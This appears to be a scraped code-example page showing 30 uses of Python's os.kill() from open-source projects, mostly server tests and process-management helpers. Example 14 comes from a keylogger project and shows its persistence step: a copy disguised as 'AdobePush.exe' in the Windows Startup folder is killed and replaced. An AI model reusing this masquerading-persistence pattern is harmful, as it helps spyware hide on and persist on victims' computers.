Python os.kill() Examples

The following are 30 code examples for showing how to use os.kill(). These examples are extracted from open source projects. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example.

You may check out the related API usage on the sidebar.

You may also want to check out all available functions/classes of the module os , or try the search function .

Example 1
Project: wechat-alfred-workflow   Author: TKkk-iOSer   File: background.py    License: MIT License 6 votes vote down vote up
def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 
Example 2
Project: cherrypy   Author: cherrypy   File: test_states.py    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def test_SIGHUP_tty(self):
        # When not daemonized, SIGHUP should shut down the server.
        try:
            from signal import SIGHUP
        except ImportError:
            return self.skip('skipped (no SIGHUP) ')

        # Spawn the process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra='test_case_name: "test_SIGHUP_tty"')
        p.start(imports='cherrypy.test._test_states_demo')
        # Send a SIGHUP
        os.kill(p.get_pid(), SIGHUP)
        # This might hang if things aren't working right, but meh.
        p.join() 
Example 3
Project: cherrypy   Author: cherrypy   File: test_states.py    License: BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def test_SIGTERM(self):
        'SIGTERM should shut down the server whether daemonized or not.'
        self._require_signal_and_kill('SIGTERM')

        # Spawn a normal, undaemonized process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra='test_case_name: "test_SIGTERM"')
        p.start(imports='cherrypy.test._test_states_demo')
        # Send a SIGTERM
        os.kill(p.get_pid(), signal.SIGTERM)
        # This might hang if things aren't working right, but meh.
        p.join()

        if os.name in ['posix']:
            # Spawn a daemonized process and test again.
            p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'),
                                 wait=True, daemonize=True)
            p.write_conf(
                extra='test_case_name: "test_SIGTERM_2"')
            p.start(imports='cherrypy.test._test_states_demo')
            # Send a SIGTERM
            os.kill(p.get_pid(), signal.SIGTERM)
            # This might hang if things aren't working right, but meh.
            p.join() 
Example 4
Project: multibootusb   Author: mbusb   File: gen.py    License: GNU General Public License v2.0 6 votes vote down vote up
def process_exist(process_name):
    """
    Detect if process exist/ running and kill it.
    :param process_name: process name to check
    :return: True if processis killed else False
    """
    if platform.system() == 'Windows':
        import signal
        import wmi
        c = wmi.WMI()
        for process in c.Win32_Process():
            if process_name in process.Name:
                log(process_name + ' exist...')
                log(str(process.ProcessId) + ' ' + str(process.Name))
                log("Having Windows explorer won't allow dd.exe to write ISO image properly."
                      "\nKilling the process..")
                try:
                    os.kill(process.ProcessId, signal.SIGTERM)
                    return True
                except:
                    log('Unable to kill process ' + str(process.ProcessId))

    return False 
Example 5
Project: Paradrop   Author: ParadropLabs   File: command.py    License: Apache License 2.0 6 votes vote down vote up
def __init__(self, pid, parent=None):
        """
        Create a kill command

        The pid argument can either be a real pid (e.g. kill 12345) or a path
        to a file containing the pid.

        If the pid is coming from a file, it will be resolved at the time that
        execute is called.  Before that time, the command will be stored
        internally as ["kill", "/path/to/file"].  This is not a real command,
        but it is meaningful if you print the command object.
        """
        # This will not be a valid command if pid is a file path.
        command = ["kill", pid]

        super(KillCommand, self).__init__(command, parent)

        # Is it a numeric pid or a path to a pid file?
        try:
            self.pid = int(pid)
            self.fromFile = False
        except ValueError:
            self.pid = pid
            self.fromFile = True 
Example 6
Project: Paradrop   Author: ParadropLabs   File: command.py    License: Apache License 2.0 6 votes vote down vote up
def execute(self):
        pid = self.getPid()

        if pid is None:
            self.result = 0
            return True

        try:
            retval = kill(pid)
            self.result = 0
            out.info('Command "kill {}" returned {}\n'.format(pid, retval))
        except Exception as e:
            out.info('Command "kill {}" raised exception {}\n'.format(pid, e))
            self.result = e

        return (self.result == 0) 
Example 7
Project: fine-lm   Author: akzaidi   File: cloud_tpu.py    License: MIT License 6 votes vote down vote up
def shell_background(cmd_, **kwargs):
  """Run process in background, join on exit."""
  args = format_cmd(cmd_, **kwargs)
  process = sp.Popen(args)
  try:
    yield process
  finally:
    if process.poll() is None:
      process.terminate()
      time.sleep(1)
    if process.poll() is None:
      process.kill()
      time.sleep(1)
    if process.poll() is None:
      raise ValueError(
          "Cannot kill process %d - please kill manually" % process.pid)
    time.sleep(1) 
Example 8
Project: jawfish   Author: war-and-code   File: test_break.py    License: MIT License 6 votes vote down vote up
def testInterruptCaught(self):
        default_handler = signal.getsignal(signal.SIGINT)

        result = unittest.TestResult()
        unittest.installHandler()
        unittest.registerResult(result)

        self.assertNotEqual(signal.getsignal(signal.SIGINT), default_handler)

        def test(result):
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)
            result.breakCaught = True
            self.assertTrue(result.shouldStop)

        try:
            test(result)
        except KeyboardInterrupt:
            self.fail("KeyboardInterrupt not handled")
        self.assertTrue(result.breakCaught) 
Example 9
Project: jawfish   Author: war-and-code   File: test_break.py    License: MIT License 6 votes vote down vote up
def testSecondInterrupt(self):
        result = unittest.TestResult()
        unittest.installHandler()
        unittest.registerResult(result)

        def test(result):
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)
            result.breakCaught = True
            self.assertTrue(result.shouldStop)
            os.kill(pid, signal.SIGINT)
            self.fail("Second KeyboardInterrupt not raised")

        try:
            test(result)
        except KeyboardInterrupt:
            pass
        else:
            self.fail("Second KeyboardInterrupt not raised")
        self.assertTrue(result.breakCaught) 
Example 10
Project: jawfish   Author: war-and-code   File: test_break.py    License: MIT License 6 votes vote down vote up
def testTwoResults(self):
        unittest.installHandler()

        result = unittest.TestResult()
        unittest.registerResult(result)
        new_handler = signal.getsignal(signal.SIGINT)

        result2 = unittest.TestResult()
        unittest.registerResult(result2)
        self.assertEqual(signal.getsignal(signal.SIGINT), new_handler)

        result3 = unittest.TestResult()

        def test(result):
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)

        try:
            test(result)
        except KeyboardInterrupt:
            self.fail("KeyboardInterrupt not handled")

        self.assertTrue(result.shouldStop)
        self.assertTrue(result2.shouldStop)
        self.assertFalse(result3.shouldStop) 
Example 11
Project: jawfish   Author: war-and-code   File: test_break.py    License: MIT License 6 votes vote down vote up
def testHandlerReplacedButCalled(self):
        # If our handler has been replaced (is no longer installed) but is
        # called by the *new* handler, then it isn't safe to delay the
        # SIGINT and we should immediately delegate to the default handler
        unittest.installHandler()

        handler = signal.getsignal(signal.SIGINT)
        def new_handler(frame, signum):
            handler(frame, signum)
        signal.signal(signal.SIGINT, new_handler)

        try:
            pid = os.getpid()
            os.kill(pid, signal.SIGINT)
        except KeyboardInterrupt:
            pass
        else:
            self.fail("replaced but delegated handler doesn't raise interrupt") 
Example 12
Project: gist-alfred   Author: danielecook   File: background.py    License: MIT License 6 votes vote down vote up
def kill(name, sig=signal.SIGTERM):
    """Send a signal to job ``name`` via :func:`os.kill`.

    .. versionadded:: 1.29

    Args:
        name (str): Name of the job
        sig (int, optional): Signal to send (default: SIGTERM)

    Returns:
        bool: `False` if job isn't running, `True` if signal was sent.
    """
    pid = _job_pid(name)
    if pid is None:
        return False

    os.kill(pid, sig)
    return True 
Example 13
Project: chainerrl   Author: chainer   File: test_async.py    License: MIT License 6 votes vote down vote up
def test_run_async_exit_code(self):

        def run_with_exit_code_0(process_idx):
            sys.exit(0)

        def run_with_exit_code_11(process_idx):
            os.kill(os.getpid(), signal.SIGSEGV)

        with warnings.catch_warnings(record=True) as ws:
            async_.run_async(4, run_with_exit_code_0)
            # There should be no AbnormalExitWarning
            self.assertEqual(
                sum(1 if issubclass(
                    w.category, async_.AbnormalExitWarning) else 0
                    for w in ws), 0)

        with warnings.catch_warnings(record=True) as ws:
            async_.run_async(4, run_with_exit_code_11)
            # There should be 4 AbnormalExitWarning
            self.assertEqual(
                sum(1 if issubclass(
                    w.category, async_.AbnormalExitWarning) else 0
                    for w in ws), 4) 
Example 14
Project: Radium   Author: mehulj94   File: Radiumkeylogger.py    License: Apache License 2.0 6 votes vote down vote up
def deleteoldstub():
    checkfilename = 'AdobePush.exe'     #The exe in the startup will be saved by the name of AdobePush. When the exe will be updated the old exe will be deleted.
    checkdir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
    dircontent = os.listdir(checkdir)

    try:
        try:
            pids = getpid('AdobePush.exe')
            for id in pids:
                os.kill(int(id), signal.SIGTERM)
        except Exception as e:
            print e

        if checkfilename in dircontent:
            os.remove(checkdir + checkfilename)
    except Exception as e:
        print e

#Function to copy the exe to startup 
Example 15
Project: gipc   Author: jgehrcke   File: test_gipc.py    License: MIT License 6 votes vote down vote up
def test_lock_out_of_context_single(self):
        r, w = pipe()
        g = gevent.spawn(lambda r: r.get(), r)
        gevent.sleep(SHORTTIME)
        with raises(GIPCLocked):
            with r:
                pass
                # The context manager can't close `r`, as it is locked in `g`.
        g.kill(block=False)
        # Ensure killing via 'context switch', i.e. yield control to other
        # coroutines (otherwise the subsequent close attempt will fail with
        # `GIPCLocked` error).
        gevent.sleep(-1)
        # Close writer first. otherwise, `os.close(r._fd)` would block on Win.
        w.close()
        r.close() 
Example 16
Project: gipc   Author: jgehrcke   File: test_gipc.py    License: MIT License 6 votes vote down vote up
def test_lock_out_of_context_pair(self):
        with raises(GIPCLocked):
            with pipe(True) as (h1, h2):
                # Write more to pipe than pipe buffer can hold
                # (makes `put` block when there is no reader).
                # Buffer is quite large on Windows.
                gw = gevent.spawn(lambda h: h.put(LONGERTHANBUFFER), h1)
                gevent.sleep(SHORTTIME)
                # Context manager tries to close h2 reader, h2 writer, and
                # h1 writer first. Fails upon latter, must still close
                # h1 reader after that.
        assert not h1._writer._closed
        assert h1._reader._closed
        assert h2._writer._closed
        assert h2._reader._closed
        # Kill greenlet (free lock on h1 writer), close h1 writer.
        gw.kill(block=False)
        gevent.sleep(-1)
        h1.close()
        assert h1._writer._closed 
Example 17
Project: arm_now   Author: nongiach   File: download.py    License: MIT License 5 votes vote down vote up
def get_link_filetype(link):
    if ".cpio" in link or ".ext2" in link or "rootfs" in link:
        return "rootfs"
    elif "dtb" in link:
        return "dtb"
    elif "Image" in link or "vmlinux" in link or "linux.bin" in link:
        return "kernel"
    print("ERROR: I don't know this kind of file {}".format(link), file=sys.stderr)
    # os.kill(0, 9)
    return None 
Example 18
Project: ALF   Author: blackberry   File: _gdb.py    License: Apache License 2.0 5 votes vote down vote up
def _send_signal(signal, *args):
    for pid in args:
        if pid:
            os.kill(pid, signal)
            break 
Example 19
Project: wechat-alfred-workflow   Author: TKkk-iOSer   File: background.py    License: MIT License 5 votes vote down vote up
def _process_exists(pid):
    """Check if a process with PID ``pid`` exists.

    :param pid: PID to check
    :type pid: ``int``
    :returns: ``True`` if process exists, else ``False``
    :rtype: ``Boolean``

    """
    try:
        os.kill(pid, 0)
    except OSError:  # not running
        return False
    return True 
Example 20
Project: cherrypy   Author: cherrypy   File: test_states.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def test_SIGHUP_daemonized(self):
        # When daemonized, SIGHUP should restart the server.
        try:
            from signal import SIGHUP
        except ImportError:
            return self.skip('skipped (no SIGHUP) ')

        if os.name not in ['posix']:
            return self.skip('skipped (not on posix) ')

        # Spawn the process and wait, when this returns, the original process
        # is finished.  If it daemonized properly, we should still be able
        # to access pages.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'),
                             wait=True, daemonize=True)
        p.write_conf(
            extra='test_case_name: "test_SIGHUP_daemonized"')
        p.start(imports='cherrypy.test._test_states_demo')

        pid = p.get_pid()
        try:
            # Send a SIGHUP
            os.kill(pid, SIGHUP)
            # Give the server some time to restart
            time.sleep(2)
            self.getPage('/pid')
            self.assertStatus(200)
            new_pid = int(self.body)
            self.assertNotEqual(new_pid, pid)
        finally:
            # Shut down the spawned process
            self.getPage('/exit')
        p.join() 
Example 21
Project: cherrypy   Author: cherrypy   File: test_states.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def _require_signal_and_kill(self, signal_name):
        if not hasattr(signal, signal_name):
            self.skip('skipped (no %(signal_name)s)' % vars())

        if not hasattr(os, 'kill'):
            self.skip('skipped (no os.kill)') 
Example 22
Project: cherrypy   Author: cherrypy   File: test_states.py    License: BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def test_signal_handler_unsubscribe(self):
        self._require_signal_and_kill('SIGTERM')

        # Although Windows has `os.kill` and SIGTERM is defined, the
        #  platform does not implement signals and sending SIGTERM
        #  will result in a forced termination of the process.
        #  Therefore, this test is not suitable for Windows.
        if os.name == 'nt':
            self.skip('SIGTERM not available')

        # Spawn a normal, undaemonized process.
        p = helper.CPProcess(ssl=(self.scheme.lower() == 'https'))
        p.write_conf(
            extra="""unsubsig: True
test_case_name: "test_signal_handler_unsubscribe"
""")
        p.start(imports='cherrypy.test._test_states_demo')
        # Ask the process to quit
        os.kill(p.get_pid(), signal.SIGTERM)
        # This might hang if things aren't working right, but meh.
        p.join()

        # Assert the old handler ran.
        log_lines = list(open(p.error_log, 'rb'))
        assert any(
            line.endswith(b'I am an old SIGTERM handler.\n')
            for line in log_lines
        ) 
Example 23
Project: iSDX   Author: sdn-ixp   File: faucet_util.py    License: Apache License 2.0 5 votes vote down vote up
def kill_on_exception(logname):
    """decorator to ensure functions will kill ryu when an unhandled exception
    occurs"""
    def _koe(func):
        @wraps(func)
        def __koe(*args, **kwargs):
            try:
                func(*args, **kwargs)
            except:
                logging.getLogger(logname).exception(
                    "Unhandled exception, killing RYU")
                logging.shutdown()
                os.kill(os.getpid(), signal.SIGKILL)
        return __koe
    return _koe 
Example 24
Project: subtake   Author: kp625544   File: subbrute.py    License: GNU General Public License v2.0 5 votes vote down vote up
def killproc(signum = 0, frame = 0, pid = False):
    if not pid:
        pid = os.getpid()
    if sys.platform.startswith('win'):
        try:
            kernel32 = ctypes.windll.kernel32
            handle = kernel32.OpenProcess(1, 0, pid)
            kernel32.TerminateProcess(handle, 0)
        except:
            #Oah windows.
            pass
    else:
        os.kill(pid, 9)

#Toggle debug output 
Example 25
Project: Paradrop   Author: ParadropLabs   File: command.py    License: Apache License 2.0 5 votes vote down vote up
def __contains__(self, s):
        """
        Test if command contains given string.

        Example:
        If the cmd.command = ['kill', '1'], then ("kill" in cmd) will return True.
        """
        return (s in str(self)) 
Example 26
Project: Paradrop   Author: ParadropLabs   File: log_provider.py    License: Apache License 2.0 5 votes vote down vote up
def detach(self):
        """
        Stop listening for log messages.

        After this is called, no additional messages will be added to the
        queue.
        """
        if self.listening:
            # We have to kill the process explicitly with SIGKILL,
            # terminate() function does not work here.
            for process in self.processes:
                os.kill(process.pid, signal.SIGKILL)

            self.processes = []
            self.listening = False 
Example 27
Project: testing.postgresql   Author: tk0miya   File: test_postgresql.py    License: Apache License 2.0 5 votes vote down vote up
def test_basic(self):
        try:
            # start postgresql server
            pgsql = testing.postgresql.Postgresql()
            self.assertIsNotNone(pgsql)
            params = pgsql.dsn()
            self.assertEqual('test', params['database'])
            self.assertEqual('127.0.0.1', params['host'])
            self.assertEqual(pgsql.settings['port'], params['port'])
            self.assertEqual('postgres', params['user'])

            # connect to postgresql (w/ psycopg2)
            conn = psycopg2.connect(**pgsql.dsn())
            self.assertIsNotNone(conn)
            self.assertRegexpMatches(pgsql.read_bootlog(), 'is ready to accept connections')
            conn.close()

            # connect to postgresql (w/ sqlalchemy)
            engine = sqlalchemy.create_engine(pgsql.url())
            self.assertIsNotNone(engine)

            # connect to postgresql (w/ pg8000)
            conn = pg8000.connect(**pgsql.dsn())
            self.assertIsNotNone(conn)
            self.assertRegexpMatches(pgsql.read_bootlog(), 'is ready to accept connections')
            conn.close()
        finally:
            # shutting down
            pid = pgsql.server_pid
            self.assertTrue(pgsql.is_alive())

            pgsql.stop()
            sleep(1)

            self.assertFalse(pgsql.is_alive())
            with self.assertRaises(OSError):
                os.kill(pid, 0)  # process is down 
Example 28
Project: testing.postgresql   Author: tk0miya   File: test_postgresql.py    License: Apache License 2.0 5 votes vote down vote up
def test_fork(self):
        pgsql = testing.postgresql.Postgresql()
        if os.fork() == 0:
            del pgsql
            pgsql = None
            os.kill(os.getpid(), signal.SIGTERM)  # exit tests FORCELY
        else:
            os.wait()
            sleep(1)
            self.assertTrue(pgsql.is_alive())  # process is alive (delete pgsql obj in child does not effect) 
Example 29
Project: testing.postgresql   Author: tk0miya   File: test_postgresql.py    License: Apache License 2.0 5 votes vote down vote up
def test_stop_on_child_process(self):
        pgsql = testing.postgresql.Postgresql()
        if os.fork() == 0:
            pgsql.stop()
            os.kill(pgsql.server_pid, 0)  # process is alive (calling stop() is ignored)
            os.kill(os.getpid(), signal.SIGTERM)  # exit tests FORCELY
        else:
            os.wait()
            sleep(1)
            self.assertTrue(pgsql.is_alive())  # process is alive (calling stop() in child is ignored) 
Example 30
Project: sanic   Author: huge-success   File: test_signal_handlers.py    License: MIT License 5 votes vote down vote up
def test_windows_workaround():
    """Test Windows workaround (on any other OS)"""
    # At least some code coverage, even though this test doesn't work on
    # Windows...
    class MockApp:
        def __init__(self):
            self.is_stopping = False

        def stop(self):
            assert not self.is_stopping
            self.is_stopping = True

        def add_task(self, func):
            loop = asyncio.get_event_loop()
            self.stay_active_task = loop.create_task(func(self))

    async def atest(stop_first):
        app = MockApp()
        ctrlc_workaround_for_windows(app)
        await asyncio.sleep(0.05)
        if stop_first:
            app.stop()
            await asyncio.sleep(0.2)
        assert app.is_stopping == stop_first
        # First Ctrl+C: should call app.stop() within 0.1 seconds
        os.kill(os.getpid(), signal.SIGINT)
        await asyncio.sleep(0.2)
        assert app.is_stopping
        assert app.stay_active_task.result() == None
        # Second Ctrl+C should raise
        with pytest.raises(KeyboardInterrupt):
            os.kill(os.getpid(), signal.SIGINT)
        return "OK"

    # Run in our private loop
    loop = asyncio.new_event_loop()
    asyncio.set_event_loop(loop)
    res = loop.run_until_complete(atest(False))
    assert res == "OK"
    res = loop.run_until_complete(atest(True))
    assert res == "OK"